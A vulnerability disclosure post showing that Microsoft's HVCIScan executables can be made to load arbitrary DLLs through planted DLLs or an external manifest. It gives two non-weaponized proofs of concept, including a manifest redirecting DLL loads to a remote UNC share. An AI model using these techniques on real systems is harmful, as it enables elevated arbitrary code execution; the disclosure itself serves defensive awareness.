Hi @ll, about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a "Tool to check devices for compatibility with memory integrity (HVCI)" The "Install instructions" on the download page <https://www.microsoft.com/en-us/download/105217> tell: | Download the hvciscan.exe for your system architecture (AMD64 or ARM64). | From an elevated command window or PowerShell, run hvciscan.exe "ELEVATED" sounds good, especially when such a vulnerable tool is run from the "Downloads" folder, where a file HVCIScan_amd64.exe.manifest, HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via "drive-by" download or by the (unsuspecting) unelevated user who still abuses the "protected administrator" account created during Windows setup. Oops, one step back: how did I determine a) that HVCIScan-*.exe is vulnerable b) these filenames? Open an UNELEVATED command window and run LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_amd64.exe and/or LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_arm64.exe then inspect the output. | Dump of file HVCIScan_amd64.exe | | File Type: EXECUTABLE IMAGE | | Image has the following dependencies: | | KERNEL32.dll | msvcrt.dll | VbsApi.dll ~~~~~~~~~~ | Section contains the following load config: | ... | 0000 Dependend load flags ... | Summary | | 1000 .data | 1000 .pdata | 2000 .rdata | 1000 .reloc | 1000 .text OUCH: the guys at M$FT built these tools without embedded "application manifest" (which would have been placed in a ".rsrc" section), so Windows will apply an external "application manifest", and without /DEPENDENTLOADFLAG:2048, so Windows will search dependent DLLs not listed as "Known DLL" in the "application directory" first. Both omissions^WBEGINNER'S MISTAKES allow to load and execute ARBITRARY DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of the application! "Trustworthy Computing" anyone? Or "Security Development Lifecycle"? <https://www.microsoft.com/en-us/securityengineering/sdl> Proof of concept #1: ~~~~~~~~~~~~~~~~~~~~ a) Open an UNELEVATED command window in the directory where you saved HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe b) Create an empty file VbsApi.dll next to the executable: COPY NUL: VbsApi.dll c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error message that VbsApi.dll can't be loaded. Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe to actually load and execute VbsApi.dll is left as an exercise to the reader. See <https://skanthak.homepage.t-online.de/minesweeper.html> if you need help. Proof of concept #2: ~~~~~~~~~~~~~~~~~~~~ a) Create the text file HVCISCAN_amd64.exe.manifest respectively HVCISCAN_arm64.exe.manifest with the following content next to HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe: --- HVCISCAN_a??64.exe.manifest --- <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"> <file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="KERNEL32.dll" /> <file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="msvcrt.dll" /> <file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="VbsApi.dll" /> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> </assembly> --- EOF --- Replace the UNC path \\SERVER\SHARE\arbitrary.dll with any local or remote path where you can create the specified file. NOTE: the section "trustInfo" is optional. NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs". b) Create an empty file arbitrary.dll in the specified network share or local directory: COPY NUL: \\SERVER\SHARE\arbitrary.dll c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error message that a required DLL or an entry point is not found. Building \\SERVER\SHARE\arbitrary.dll with the exports required by HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left as an exercise to the reader. stay tuned, and far away from "tools" made in Redmond Stefan Kanthak